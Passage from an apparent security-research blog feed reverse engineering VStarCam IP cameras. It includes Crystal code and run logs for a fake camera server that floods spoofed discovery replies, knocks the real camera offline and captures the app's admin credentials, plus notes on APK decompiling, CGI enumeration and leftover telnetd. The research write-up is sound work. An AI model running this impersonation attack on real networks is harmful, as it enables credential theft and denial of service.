I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : REQUEST RECEIVED FROM CLIENT 108
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- :
GET /check_user.cgi?name=300178294&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : REQUEST RECEIVED FROM CLIENT 108
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- :
GET /check_user.cgi?name=300178294&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;
I, [2019-03-13 20:24:34 -07:00 #25421]  INFO -- : Sent Pong
I, [2019-03-13 20:24:35 -07:00 #25421]  INFO -- : Sent Pong
I, [2019-03-13 20:24:36 -07:00 #25421]  INFO -- : Sent Pong
I, [2019-03-13 20:24:36 -07:00 #25421]  INFO -- : RECEIVED UNBLOCK FIBER COMMAND!
I, [2019-03-13 20:24:36 -07:00 #25421]  INFO -- : RECEIVED UNBLOCK FIBER COMMAND!
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Sent Pong
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : RECEIVED DISCONNECT FROM CLIENT
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Changing to spam
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Spamming DBR!
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Changing to listen_for_client_bcp
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Changing to send_bps
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Changing to receive_bps
I, [2019-03-13 20:24:42 -07:00 #25421]  INFO -- : BPS UNSUCCESSFUL
I, [2019-03-13 20:24:42 -07:00 #25421]  INFO -- : Changing to listen_for_client_bcp</code></pre>
<p><a href="https://youtu.be/gcYaoL-1D04?t=222">Beautipul</a></p>
<h2>Why does it work?</h2>
<p>The client has very weak checks in place for the camera, it doesn&#39;t keep track of the IP address and MAC address of the camera, which makes spoofing unnecessary. It doesn&#39;t parse fields in the DBR properly (or at all) or simply ignores them. You can literally echo the packet you got from the camera, with all the same fields at the client and it doesn&#39;t even care, it just keeps track of the IP of the camera based on incoming connection, not even validating the info in the DBR. Also a flaw in the processing of DBR by the client causes a DoS against the camera, not allowing it to connect to the client. All this could have been prevented in the first place if they just would have not broadcasted the DBR, there is actually no need.</p>
<p>In short, there are a couple vulnerabilities this relies on</p>
<ul>
  <li>Improper connection tracking</li>
  <li>Improper parsing/validating of DBR fields</li>
  <li>Broadcasting DBR</li>
  <li>Client improperly handling DBR flood.</li>
  <li>Client improperly handling sensitive data</li>
</ul>
<p>These could not have been found if it wasn&#39;t for tireless testing of the camera and familiarity of the device, and yet it is still just a stepping stone to a much larger potential exploit, auto_download.cgi.</p>
]]></description>
      <content:encoded><![CDATA[<p>The new goal is to write a fake camera server, a piece of software that will pretend to be a camera, to the client, and use it to pry information out. Where do we start?</p>
<p>First thing I did was sit down and flesh out a basic connection process.</p>
<p>1. Wait for DBP from client (f130 from 8600) (client to 255.255.255.255) 2. Capture DBR from camera  (44480108 from 6801) (camera to 255.255.255.255) * Get UID, change IP, MAC, and/or other info. 3. Spam DBR at client (to beat out camera.) 4. Wait for BCP from client 5. Send BPS to client 6. Wait for BPS from client 7. Forge BPA to client. 8. Main phase, ping pong, wait for a GET with login params. 9. Once we get password, send disconnect, and close server.</p>
<h2>Capture DBP from client</h2>
<p>The client is going to send a DBP out to discover camera on the network, we need to listen for this so we can determine what IP address the client is at.</p>
<pre class="code-block"><code>def listen_for_client_dbp
  # TODO: ADD TIMEOUTS!
  got_dbp = false
  LOG.info(&quot;Waiting to receive the DBP from a client&quot;)
  until got_dbp
    potential_dbp = @db_camera_sock.receive
    got_dbp = true if potential_dbp[0] == DBP
  end
  got_dbp
end</code></pre>
<h2>Capture DBR from the camera</h2>
<p>The camera will send out the DBR, we need to capture that and hold it for replay.</p>
<pre class="code-block"><code>def listen_for_camera_dbr
  # TODO: ADD TIMEOUTS!
  got_dbr = false
  LOG.info(&quot;Waiting to receive the DBR from a camera&quot;)

  until got_dbr
    potential_dbr = @db_client_sock.receive
    LOG.info(&quot;Got a potential DBR from a client&quot;)

    if potential_dbr[0][0..3] == DBR_HEADER
      got_dbr = true
      @camera = potential_dbr[1]
      LOG.info &quot;GOT DBR TARGET #{@camera}&quot;
    end
  end
  if potential_dbr
    @dbr = Client.parse_dbr potential_dbr
    @dbr
  else
    nil
  end
end</code></pre>
<h2>Spam DBR</h2>
<p>Now, we need to both, disrupt connection of the camera, as well as flood our client with DBR. This step took me a while to figure out, and I ran through a whole load of things to try and disrupt the camera. Before I discovered this DoS, I would literally just simulate a disconnect on the camera by unplugging it from the network.</p>
<p>Some things I tried,</p>
<ul>
  <li>UDP Flooding</li>
  <li>Connection spamming</li>
</ul>
<p><em> Opening up connections with the camera and disconnecting constantly. </em> EX: DBP -&gt; DBR -&gt; BCP -&gt; BPS -&gt; BPA -&gt; RESTART * Hangs camera a bit, as it waits for and tracks ping-pong through the protocol.</p>
<ul>
  <li>Broadcast flooding</li>
</ul>
<p>* Flooding the broadcast with DBP/BCP to tie up camera resources.</p>
<p>In the end after quite a lot of testing I used this tactic to get it to disrupt, flooding the client with DBR, which luckily disconnects the client from the camera, and when it reconnects, our DBR will always be first to the connection.</p>
<pre class="code-block"><code># We just need to get our DBR in before the camera.
def spam_dbr(dbr)
  @spam_dbr = true
  LOG.info &quot;Spamming DBR!&quot;
  spam_fiber = spawn do
    while @spam_dbr
      begin
        send_dbr(dbr)
        sleep 0.000001
      rescue e
        LOG.info &quot;SPAM DBR EXCEPTION #{e}&quot;
      end
    end
    LOG.info &quot;Spamming DBR Finished!&quot;
  end
end</code></pre>
<h2>Handle BP Handshake</h2>
<p>Now that the spam fiber is running in the background, we need to wait for BCP, once we get it we will send the BPS, wait for reply, the send four BPA. Our tick will have this inside.</p>
<pre class="code-block"><code>elsif state == :listen_for_client_bcp
  listen_for_client_bcp
  change_state :send_bps
elsif state == :send_bps
  send_bps @dbr[:uid]
  change_state :receive_bps
elsif state == :receive_bps
  if receive_bps(5)
    @spam_dbr = false
    change_state :send_4_bpa
  else
    change_state :listen_for_client_bcp
  end
elsif state == :send_4_bpa
  send_bpa(@dbr[:uid])
  send_bpa(@dbr[:uid])
  send_bpa(@dbr[:uid])
  send_bpa(@dbr[:uid])
  send_pong
  if wait_for_client_ping(5)
    change_state :main_phase
  else
    change_state :spam
  end</code></pre>
<h2>Waiting for Ping</h2>
<p>We need to verify the client really is targeting us, so we send a pong, if we get a ping back, we have initiated connection. I implemented a basic timeout for the connection that will change the state back to the start if there was an issue.</p>
<pre class="code-block"><code>def wait_for_client_ping(timeout)
  LOG.info &quot;Waiting for client ping&quot;
  ping_channel = Channel(Bool).new

  main_fiber = spawn do
    got_ping = false
    until got_ping
      potential_ping = @data_channel.receive
      if potential_ping[0] == PING_PACKET
        got_ping = true
      elsif potential_ping[0] == UNBLOCK_FIBER_DATA
        break
      end
    end
    ping_channel.send got_ping
  end
  timeout_fiber = spawn do
    sleep timeout
    unblock_data
  end
  got_ping = ping_channel.receive
  if got_ping
    LOG.info &quot;PING SUCCESSFUL&quot;
  else
    LOG.info &quot;PING UNSUCCESSFUL&quot;
  end
  got_ping
end</code></pre>
<h2>Getting the Password</h2>
<p>At this point we have done everything we needed, and the client should be spilling it&#39;s guts to us.</p>
<pre class="code-block"><code>[Running] crystal &quot;/home/ian/Documents/crystal/vstarcam-investigational-journey/client/src/sandbox.cr&quot;
I, [2019-03-13 20:24:28 -07:00 #25421]  INFO -- : Opening ports
I, [2019-03-13 20:24:28 -07:00 #25421]  INFO -- : Ports opened
I, [2019-03-13 20:24:28 -07:00 #25421]  INFO -- : Waiting to receive the DBP from a client
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to listen_for_camera_dbr
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Waiting to receive the DBR from a camera
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Got a potential DBR from a client
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : GOT DBR TARGET 192.168.11.140:8600
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Parsed new target camera {:camera_ip =&gt; &quot;192.168.11.140&quot;, :netmask =&gt; &quot;255.255.255.0&quot;, :gateway =&gt; &quot;192.168.11.1&quot;, :dns1 =&gt; &quot;8.8.8.8&quot;, :dns2 =&gt; &quot;192.168.11.1&quot;, :mac_address =&gt; &quot;48:02:2A:0B:DB:B4&quot;, :http_port =&gt; &quot;47250&quot;, :uid =&gt; &quot;VSTB668515UZCPK&quot;, :name =&gt; &quot;IPMAN&quot;, :ddns_ip =&gt; &quot;48.53.72.104&quot;, :unknown1 =&gt; &quot;\u0001&quot;, :ddns_url =&gt; &quot;user2.ipcam.so&quot;, :sn =&gt; &quot;dqqlz&quot;, :ddns_password =&gt; &quot;252926&quot;}
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to spam
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Spamming DBR!
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to listen_for_client_bcp
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to send_bps
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to receive_bps
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : BPS SUCCESSFUL
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to send_4_bpa
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Sent Pong
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Waiting for client ping
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Spamming DBR Finished!
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : PING SUCCESSFUL
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : Changing to main_phase
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : REQUEST RECEIVED FROM CLIENT 108
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- :
GET /check_user.cgi?name=300178294&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : REQUEST RECEIVED FROM CLIENT 108
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- :
GET /check_user.cgi?name=300178294&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : REQUEST RECEIVED FROM CLIENT 108
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- :
GET /check_user.cgi?name=300178294&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;
I, [2019-03-13 20:24:34 -07:00 #25421]  INFO -- : Sent Pong
I, [2019-03-13 20:24:35 -07:00 #25421]  INFO -- : Sent Pong
I, [2019-03-13 20:24:36 -07:00 #25421]  INFO -- : Sent Pong
I, [2019-03-13 20:24:36 -07:00 #25421]  INFO -- : RECEIVED UNBLOCK FIBER COMMAND!
I, [2019-03-13 20:24:36 -07:00 #25421]  INFO -- : RECEIVED UNBLOCK FIBER COMMAND!
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Sent Pong
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : RECEIVED DISCONNECT FROM CLIENT
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Changing to spam
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Spamming DBR!
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Changing to listen_for_client_bcp
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Changing to send_bps
I, [2019-03-13 20:24:37 -07:00 #25421]  INFO -- : Changing to receive_bps
I, [2019-03-13 20:24:42 -07:00 #25421]  INFO -- : BPS UNSUCCESSFUL
I, [2019-03-13 20:24:42 -07:00 #25421]  INFO -- : Changing to listen_for_client_bcp</code></pre>
<p><a href="https://youtu.be/gcYaoL-1D04?t=222">Beautipul</a></p>
<h2>Why does it work?</h2>
<p>The client has very weak checks in place for the camera, it doesn&#39;t keep track of the IP address and MAC address of the camera, which makes spoofing unnecessary. It doesn&#39;t parse fields in the DBR properly (or at all) or simply ignores them. You can literally echo the packet you got from the camera, with all the same fields at the client and it doesn&#39;t even care, it just keeps track of the IP of the camera based on incoming connection, not even validating the info in the DBR. Also a flaw in the processing of DBR by the client causes a DoS against the camera, not allowing it to connect to the client. All this could have been prevented in the first place if they just would have not broadcasted the DBR, there is actually no need.</p>
<p>In short, there are a couple vulnerabilities this relies on</p>
<ul>
  <li>Improper connection tracking</li>
  <li>Improper parsing/validating of DBR fields</li>
  <li>Broadcasting DBR</li>
  <li>Client improperly handling DBR flood.</li>
  <li>Client improperly handling sensitive data</li>
</ul>
<p>These could not have been found if it wasn&#39;t for tireless testing of the camera and familiarity of the device, and yet it is still just a stepping stone to a much larger potential exploit, auto_download.cgi.</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/vstarcam_journey/">VStarCam - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-03</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Exploitation</strong> (<em>Security</em>) &bull; 6 years &mdash; Developing proof-of-concept exploits to validate security vulnerabilities in binaries, network daemons, and web apps. [<a href="https://www.exploit-db.com">Exploit_db</a>]</li>
    <li><strong>Exploit PoC Development</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Authoring reproducible proof-of-concept exploits to validate security vulnerabilities and verify vendor remediation. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>C</strong> (<em>Languages</em>) &bull; 12 years &mdash; Low-level system programming language for high-performance applications, memory management, and low-level system software. [<a href="https://en.wikipedia.org/wiki/C_(programming_language)">Website</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>[VStarCam - Investigational Journey] Firmware Analysis</title>
      <link>https://sol.vin/vstarcam_journey/7.html</link>
      <guid isPermaLink="true">https://sol.vin/vstarcam_journey/7.html</guid>
      <pubDate>Tue, 03 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-03</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">VStarCam - Investigational Journey</category>
      <category domain="skill">Hardware Security</category>
      <category domain="skill-slug">hardware_security</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Hardware Security</dc:subject>
      <category domain="skill">Reverse Engineering</category>
      <category domain="skill-slug">reverse_engineering</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Reverse Engineering</dc:subject>
      <category domain="skill">Linux Kernel</category>
      <category domain="skill-slug">linux_kernel</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Linux Kernel</dc:subject>
      <description><![CDATA[<p>Now that we are at the point of near 100% protocol coverage, we can start to think about some ways that we could potentially abuse the protocol, and the devices behind them. One thing I noticed after completely tearing down every packet in the connection process, was that all the information needed to impersonate the camera is sent to broadcast. This means that even when connected directly through LAN, the camera could potentially be impersonated by anyone on the same subnet. A couple things also hint at this.</p>
<p>1. The IP address of the camera can change, and the client must be able to respond to this change. * This means that chances are the protocol checks IP address very weakly, and might be vulnerable to someone using a different IP address. 2. The device itself is not very powerful, so corners were most likely cut in software to save money/processing power. It&#39;s likely that certain kinds of checks where overlooked, especially when security was obviously not the goal in mind with the camera. 3. The device may or may not parse all fields in the packets (DBR, BPS, BPA) so it might be easy for us to replay packets without having to know exactly what a field does.</p>
<p>Flaws in the camera programming, as well as the client protocol, also give out too much information. The camera (for seemingly no reason) sends the DBR, which contains all the info we need to impersonate, to broadcast. The client also initiates connection over broadcast (although later switching to direct communications later). Looking at these things, there is a very real possibility of a vulnerability here. We may need to swap fields out of the DBR, or change our MAC address to conform to the clients checks, but it should be possible.</p>
]]></description>
      <content:encoded><![CDATA[<p>Now that we are at the point of near 100% protocol coverage, we can start to think about some ways that we could potentially abuse the protocol, and the devices behind them. One thing I noticed after completely tearing down every packet in the connection process, was that all the information needed to impersonate the camera is sent to broadcast. This means that even when connected directly through LAN, the camera could potentially be impersonated by anyone on the same subnet. A couple things also hint at this.</p>
<p>1. The IP address of the camera can change, and the client must be able to respond to this change. * This means that chances are the protocol checks IP address very weakly, and might be vulnerable to someone using a different IP address. 2. The device itself is not very powerful, so corners were most likely cut in software to save money/processing power. It&#39;s likely that certain kinds of checks where overlooked, especially when security was obviously not the goal in mind with the camera. 3. The device may or may not parse all fields in the packets (DBR, BPS, BPA) so it might be easy for us to replay packets without having to know exactly what a field does.</p>
<p>Flaws in the camera programming, as well as the client protocol, also give out too much information. The camera (for seemingly no reason) sends the DBR, which contains all the info we need to impersonate, to broadcast. The client also initiates connection over broadcast (although later switching to direct communications later). Looking at these things, there is a very real possibility of a vulnerability here. We may need to swap fields out of the DBR, or change our MAC address to conform to the clients checks, but it should be possible.</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/vstarcam_journey/">VStarCam - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-03</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Hardware Security</strong> (<em>Security</em>) &bull; 6 years &mdash; Physical and electrical security auditing of IoT microcontrollers, UART/JTAG interfaces, and flash dump analysis. [<a href="https://en.wikipedia.org/wiki/Hardware_security">Wikipedia</a>]</li>
    <li><strong>Reverse Engineering</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [<a href="https://ghidra-sre.org">Ghidra</a>]</li>
    <li><strong>Linux Kernel</strong> (<em>Systems &amp; Security</em>) &bull; 14 years &mdash; In-depth Linux system administration, kernel diagnostics, performance tuning, and low-level system calls. [<a href="https://www.kernel.org">Kernel</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>[VStarCam - Investigational Journey] Reversing authentication</title>
      <link>https://sol.vin/vstarcam_journey/6.html</link>
      <guid isPermaLink="true">https://sol.vin/vstarcam_journey/6.html</guid>
      <pubDate>Tue, 03 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-03</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">VStarCam - Investigational Journey</category>
      <category domain="skill">Exploitation</category>
      <category domain="skill-slug">exploitation</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Exploitation</dc:subject>
      <category domain="skill">Exploit PoC Development</category>
      <category domain="skill-slug">exploit_poc</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Exploit PoC Development</dc:subject>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">C</category>
      <category domain="skill-slug">c</category>
      <category domain="skill-category">Languages</category>
      <dc:subject>C</dc:subject>
      <media:content url="https://sol.vin/images/vstarcam/wireshark/8.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/9.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/10.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/11.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/12.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/dengyi.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/laishao.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/PASSWORD.png" medium="image" />
      <media:thumbnail url="https://sol.vin/images/vstarcam/wireshark/8.png" />
      <description><![CDATA[<p>Now we are at the point where everything is coming together and now we need to know WHAT we can do with the device.</p>
<h2>Getting a list of CGI</h2>
<p>At this point, we have a working client (for the most part), now we need commands to run! We are going to explore a variety of ways we can get more info on the commands that are available to us.</p>
<h3>Wireshark and Testing Methodology</h3>
<p>We can use Wireshark as a sniffer to get the request strings we want. We just open the APP as usual, and try each and every single option, button, etc. Try to do anything that might generate a GET. Then filter the GET packets out in Wireshark.</p>
<h3>Decompiling APK</h3>
<p>We can use Android Studio&#39;s &quot;Debug and Profile APK&quot; feature to disassemble the APK into Smali. I didn&#39;t know anything about Smali before messing around with this project, so pardon me if I get things wrong, I never really learned the language, I just used intuition on most of this.</p>
<p>Using the &quot;Find in Path&quot; feature in Android Studio let&#39;s us search the project for any mention of .cgi. While some results aren&#39;t going to be exactly as we want, we will get to see a majority of the surface level functions we can use.</p>
<center>
<img src="/images/vstarcam/wireshark/8.png" style="width: 100%; height: 100%;">
</center>
<p>If we actually look at some of them we can see some code that provides us with more info.</p>
<pre class="code-block"><code>new-instance v1, Ljava/lang/StringBuilder;

invoke-direct {v1}, Ljava/lang/StringBuilder;-&amp;gt;&amp;lt;init&amp;gt;()V

const-string/jumbo v2, &quot;set_sensorname.cgi?&amp;sensorid=&quot;
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;-&amp;gt;append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v1

invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;-&amp;gt;append(I)Ljava/lang/StringBuilder;

move-result-object v1

const-string v2, &quot;&amp;sensorid0=&quot;
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;-&amp;gt;append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v1

invoke-virtual {v1, p3}, Ljava/lang/StringBuilder;-&amp;gt;append(I)Ljava/lang/StringBuilder;

move-result-object v1

const-string v2, &quot;&amp;sensorid1=&quot;</code></pre>
<p>I don&#39;t need to really know smali to know what I&#39;m seeing here. We have a java class, StringBuilder, building a CGI string to send out. By looking at these segments of code by the CGI strings we have found, we can also mine more information on what arguments some of these commands use.</p>
<h3>Decomipling SO</h3>
<p>I noticed after a while an interesting pattern I kept seeing after it made the CGI string, it would call a method:</p>
<pre class="code-block"><code>vstc2/nativecaller/NativeCaller;-&gt;TransferMessage</code></pre>
<p>However, no amount of googling lead me closer to finding out what it did, and worse, I couldn&#39;t find the method ANYWHERE in the smali. I must have searched for hours.</p>
<p>Finally when I did find it, it was just a stub method, there was no code to it at all! Then after a bit more googling I learned that methods gained from Shared Object files won&#39;t show up in a Smali decompile, since it&#39;s only decompiling the Java, not the assembly. When looking through the shared objects, I found one called libvstc2_jni.so, which seemed to be what I was looking for. I tried decompiling it on Linux but I couldn&#39;t find a good tool to do it with and ended up using onlinedisassembler which worked pretty well as I mainly just used it for it&#39;s string search, rather than wanting to pour over ARM ASM.</p>
<center>
<img src="/images/vstarcam/wireshark/9.png" style="width: 100%; height: 100%;">
</center>
<h3>Decompiling Firmware</h3>
<p>I&#39;d also like to decompile the firmware on the camera, but unfortunately, I couldn&#39;t find a good method to pull a copy off the device.  I was, however, able to get a hold of an update, (Finally I&#39;ve been waiting for months for a firmware update I could listen into.), which doesn&#39;t contain any CGI info, but does contain some other interesting stuff I&#39;ll detail later.</p>
<h3>Googling</h3>
<p>Ripping through Shared Objects, Smali, and Wireshark captures is fun and all, but sometimes you just want real human English answers. I spent a lot of time googling things during this writeup, as well as when I first sat down with the device months ago.</p>
<p>Finally after getting so far, I wanted to see if there was ANY information out there about this API, so I set out with a couple choice google searches, and an understanding of what &quot;down the rabbit hole&quot; truly means.</p>
<p>I started with googling &quot;vstarcam api&quot;, which lead me to an interesting <a href="http://www.vstarcam.com/SDK-Download.html">SDK page</a>. Once there I quickly located a CGI manual, let&#39;s open it up and take a look inside.</p>
<center>
<img src="/images/vstarcam/wireshark/10.png" style="width: 100%; height: 100%;">
</center>
<p>Oh no, the manual is in Chinese, but at least we are getting closer.</p>
<p>I tried &quot;vstarcam sdk&quot; and ended up finding an <a href="http://corz.org/windows/software/oodlecam/files/IP%20Camera%20CGI%20Manual%20[from%20Tenvis%203815%20SDK].pdf">english manual</a>. I also noticed this <a href="https://community.home-assistant.io/t/c7824wip-ptz-camera/38597">forum post</a>, which also talked about the poor security of the VStarCam firmware.</p>
<p>In this post he talks about some juicy things, one of which I discovered in an update I went through.</p>
<p>There was also <a href="https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html">another post</a> about the camera, although it mentions it by a different name, unsurprisingly, the picture even is the same one I have. This guy went deep into the nitty gitty on some of the exploits, some of which I&#39;d like to try myself now that I know about them.</p>
<p>Also, after referencing the manual, I did not notice any commands I didn&#39;t find already, or see any that weren&#39;t listed.</p>
<h2>Extras</h2>
<p>After studying this thing for months, I FINALLY received a firmware update. I wasted no time sniffing the connection and learning some cool stuff.</p>
<center>
<img src="/images/vstarcam/wireshark/11.png" style="width: 100%; height: 100%;">
</center>
<p>When it started the download, it used the auto_download_file.cgi script. With it we can supply a server, and a file to download. Potentially abusable! We will definitely cover this in a later part.</p>
<center>
<img src="/images/vstarcam/wireshark/12.png" style="width: 100%; height: 100%;">
</center>
<p>I immediately grabbed a copy of the file and went to town in binwalk, extracting all files so I could take a look. One of the first files I noticed, ipcam.sh, had an interesting thing inside it. This is the file verbatim.</p>
<pre class="code-block"><code>export PATH=/system/system/bin:$PATH
#telnetd
export LD_LIBRARY_PATH=/system/system/lib:/mnt/lib:$LD_LIBRARY_PATH
mount -t tmpfs none /tmp -o size=3m

/system/system/bin/brushFlash
/system/system/bin/updata
/system/system/bin/wifidaemon &amp;
/system/system/bin/upgrade &amp;</code></pre>
<p>When I saw this I thought, &quot;Oh man, someone left telnetd on and had to turn it off in a later update.&quot;</p>
<p>After downloading previous updates from caches online, I found that this was indeed true. It is also backed up by <a href="https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html">this article</a>, specifically in the section &quot;CVE-2017-8224 - Backdoor account&quot;.</p>
<p>I thought that was super funny.</p>
<p>Another interesting find was some of the developer names were accidentally left in some binaries, by way of a home directory listing.</p>
<center>
<img src="/images/vstarcam/dengyi.png" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/vstarcam/laishao.png" style="width: 100%; height: 100%;">
</center>
<p>I also found another interesting tidbit, the password they use to zip is hardcoded into binaries added in some of the updates.</p>
<center>
<img src="/images/vstarcam/PASSWORD.png" style="width: 100%; height: 100%;">
</center>
]]></description>
      <content:encoded><![CDATA[<p>Now we are at the point where everything is coming together and now we need to know WHAT we can do with the device.</p>
<h2>Getting a list of CGI</h2>
<p>At this point, we have a working client (for the most part), now we need commands to run! We are going to explore a variety of ways we can get more info on the commands that are available to us.</p>
<h3>Wireshark and Testing Methodology</h3>
<p>We can use Wireshark as a sniffer to get the request strings we want. We just open the APP as usual, and try each and every single option, button, etc. Try to do anything that might generate a GET. Then filter the GET packets out in Wireshark.</p>
<h3>Decompiling APK</h3>
<p>We can use Android Studio&#39;s &quot;Debug and Profile APK&quot; feature to disassemble the APK into Smali. I didn&#39;t know anything about Smali before messing around with this project, so pardon me if I get things wrong, I never really learned the language, I just used intuition on most of this.</p>
<p>Using the &quot;Find in Path&quot; feature in Android Studio let&#39;s us search the project for any mention of .cgi. While some results aren&#39;t going to be exactly as we want, we will get to see a majority of the surface level functions we can use.</p>
<center>
<img src="/images/vstarcam/wireshark/8.png" style="width: 100%; height: 100%;">
</center>
<p>If we actually look at some of them we can see some code that provides us with more info.</p>
<pre class="code-block"><code>new-instance v1, Ljava/lang/StringBuilder;

invoke-direct {v1}, Ljava/lang/StringBuilder;-&amp;gt;&amp;lt;init&amp;gt;()V

const-string/jumbo v2, &quot;set_sensorname.cgi?&amp;sensorid=&quot;
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;-&amp;gt;append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v1

invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;-&amp;gt;append(I)Ljava/lang/StringBuilder;

move-result-object v1

const-string v2, &quot;&amp;sensorid0=&quot;
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;-&amp;gt;append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v1

invoke-virtual {v1, p3}, Ljava/lang/StringBuilder;-&amp;gt;append(I)Ljava/lang/StringBuilder;

move-result-object v1

const-string v2, &quot;&amp;sensorid1=&quot;</code></pre>
<p>I don&#39;t need to really know smali to know what I&#39;m seeing here. We have a java class, StringBuilder, building a CGI string to send out. By looking at these segments of code by the CGI strings we have found, we can also mine more information on what arguments some of these commands use.</p>
<h3>Decomipling SO</h3>
<p>I noticed after a while an interesting pattern I kept seeing after it made the CGI string, it would call a method:</p>
<pre class="code-block"><code>vstc2/nativecaller/NativeCaller;-&gt;TransferMessage</code></pre>
